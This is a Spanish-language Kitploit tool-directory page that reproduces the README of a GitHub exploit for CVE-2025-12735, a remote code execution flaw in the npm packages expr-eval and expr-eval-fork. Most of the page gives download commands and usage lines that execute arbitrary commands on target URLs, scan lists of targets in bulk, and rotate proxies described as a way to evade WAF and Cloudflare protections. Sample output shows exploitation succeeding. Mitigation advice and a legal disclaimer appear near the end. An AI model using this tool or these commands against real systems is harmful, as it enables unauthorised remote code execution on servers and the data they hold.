Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2025-12735-expr-eval-rce — Herramienta de investigación de seguridad para detectar y probar CVE-2025-12735 (vulnerabilidad RCE de expr-eval) | Kitploit
Herramientas/GitHubGitHub/alnashawatirohwederb2167-max/cve-2025-12735-expr-eval-rce
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubalnashawatirohwederb2167-max/cve-2025-12735-expr-eval-rce

cve-2025-12735-expr-eval-rce

Herramienta de investigación de seguridad para detectar y probar CVE-2025-12735 (vulnerabilidad RCE de expr-eval)

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 9 mesesAún no revisado

CVE-2025-12735 Exploit RCE en expr-eval

Una herramienta de investigación de seguridad para detectar y probar la vulnerabilidad CVE-2025-12735 en los paquetes npm expr-eval y expr-eval-fork.

⚠️ Aviso legal

Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Utilice esta herramienta únicamente en sistemas de su propiedad o para los cuales tenga permiso explícito por escrito para realizar pruebas.

📋 Resumen

CVE-2025-12735 es una vulnerabilidad crítica de Ejecución Remota de Código en los paquetes npm expr-eval y expr-eval-fork. Esta vulnerabilidad permite a los atacantes definir funciones arbitrarias dentro del objeto context utilizado por el analizador, permitiendo la inyección de código malicioso que ejecuta comandos a nivel de sistema.

Puntuación CVSS: 9.8 (Crítica)
Versiones afectadas: expr-eval-fork < 3.0.0
Versión corregida: expr-eval-fork v3.0.0+

🔍 Características

  • Detección automática: Escanea el uso de la librería expr-eval en archivos JavaScript
  • Descubrimiento de endpoints: Encuentra automáticamente endpoints de evaluación
  • Pruebas de vulnerabilidad: Prueba la vulnerabilidad CVE-2025-12735
  • Ejecución de comandos: Demuestra capacidad de RCE (para pruebas autorizadas)
  • Soporte de subprocesos múltiples: Escanea múltiples objetivos en paralelo
  • Soporte de proxy: Evita restricciones de WAF/Cloudflare
  • Exportación JSON: Resultados detallados en formato JSON

📦 Instalación

Requisitos previos

  • Python 3.6 o superior
  • pip (gestor de paquetes de Python)

Instalación rápida

root@kitploit:~
# Clone the repository
git clone https://github.com/AN5I/cve-2025-12735-expr-eval-rce.git
cd cve-2025-12735-expr-eval-rce

# Install dependencies
pip install -r requirements.txt

# Make script executable (optional)
chmod +x uknf_cve_2025_12735_expr_eval_rce.py

Alternativa: Descarga directa

root@kitploit:~
# Download the script
wget https://raw.githubusercontent.com/AN5I/cve-2025-12735-expr-eval-rce/main/uknf_cve_2025_12735_expr_eval_rce.py

# Install dependencies
pip install requests

🚀 Uso

Uso básico

root@kitploit:~
# Single target
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com

# Execute custom command
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -c "whoami"

# Multiple targets from file
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json

# With threading for faster scanning
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -t 5

# Verbose output for debugging
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -v

Uso de proxies

root@kitploit:~
# Single proxy
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com --proxy http://proxy:port

# Multiple proxies from file
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt

Opciones de línea de comandos

root@kitploit:~
-u, --url          URL objetivo
-f, --file         Archivo que contiene las URL objetivo (una por línea)
-c, --command      Comando a ejecutar (predeterminado: id)
-t, --threads      Número de hilos (predeterminado: 1)
-o, --output       Archivo de salida (predeterminado: uknf_expr_eval_results.json)
-v, --verbose      Habilitar registro detallado
--proxy            URL del proxy (ej., http://127.0.0.1:8080)
--proxy-list       Archivo que contiene las URL de proxy (una por línea)

📊 Salida

El script genera un archivo JSON con resultados detallados:

root@kitploit:~
{
  "target": "http://target.com",
  "timestamp": "2025-11-20T15:35:32.638109",
  "expr_eval_detected": true,
  "vulnerable": true,
  "endpoint_found": true,
  "exploitation_successful": true,
  "command_executed": "id",
  "output": "uid=1000(user) gid=1000(user)...",
  "vulnerable_endpoint": "/api/evaluate"
}

🔬 Cómo funciona

  1. Fase de detección: Escanea archivos JavaScript y contenido HTML en busca de referencias a expr-eval
  2. Descubrimiento de endpoints: Prueba endpoints API comunes que podrían usar expr-eval
  3. Pruebas de vulnerabilidad: Intenta inyectar funciones arbitrarias en el objeto context
  4. Explotación: Si es vulnerable, demuestra la capacidad de RCE

🛡️ Mitigación

Si estás usando expr-eval o expr-eval-fork:

  1. Actualiza inmediatamente:

    root@kitploit:~
    npm install expr-eval-fork@latest
    
  2. Aplica el parche de seguridad:

    • Aplica el Pull Request #288 a expr-eval
    • O cambia a expr-eval-fork v3.0.0+
  3. Implementa validación de entrada:

    • Sanitiza todas las entradas del usuario
    • Usa listas blancas de funciones
    • Valida los objetos context

📚 Referencias

  • CVE: CVE-2025-12735
  • CERT: VU#263614
  • Aviso de GitHub: GHSA-jc85-fpwf-qm7x
  • Parche de seguridad: PR #288

📖 Ejemplos

Ejemplo 1: Escaneo de un solo objetivo

root@kitploit:~
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com

Ejemplo 2: Múltiples objetivos con salida

root@kitploit:~
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# Run scan
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json

Ejemplo 3: Ejecución de comando personalizado

root@kitploit:~
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com -c "uname -a"

Ejemplo 4: Uso de proxies

root@kitploit:~
# Single proxy
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com --proxy http://127.0.0.1:8080

# Multiple proxies from file
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt

🤝 Contribuciones

¡Las contribuciones son bienvenidas! No dudes en enviar una Pull Request.

  1. Haz un fork del repositorio
  2. Crea tu rama de características (git checkout -b feature/AmazingFeature)
  3. Haz commit de tus cambios (git commit -m 'Add some AmazingFeature')
  4. Sube los cambios a la rama (git push origin feature/AmazingFeature)
  5. Abre una Pull Request

🐛 Problemas

Si encuentras algún problema o tienes sugerencias, por favor abre un issue en GitHub.

📝 Licencia

Este proyecto está licenciado bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.

⭐ Historial de estrellas

Si encuentras útil esta herramienta, ¡considera darle una estrella en GitHub!

⚖️ Legal

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Los autores no son responsables de ningún uso indebido o daño causado por este programa. Los usuarios son responsables de asegurarse de tener la autorización adecuada antes de probar cualquier sistema.

🙏 Agradecimientos

  • Reportero original de la vulnerabilidad: Jangwoo Choe (UKO)
  • Centro de Coordinación CERT por la divulgación de la vulnerabilidad
  • GitHub Security y npm por los avisos de seguridad

💰 Donaciones

Si encuentras útil esta herramienta y deseas apoyar el proyecto:

Bitcoin (BTC):

root@kitploit:~
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv

Ethereum (ETH):

root@kitploit:~
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7

¡Gracias por tu apoyo! 🙏

Descargar herramienta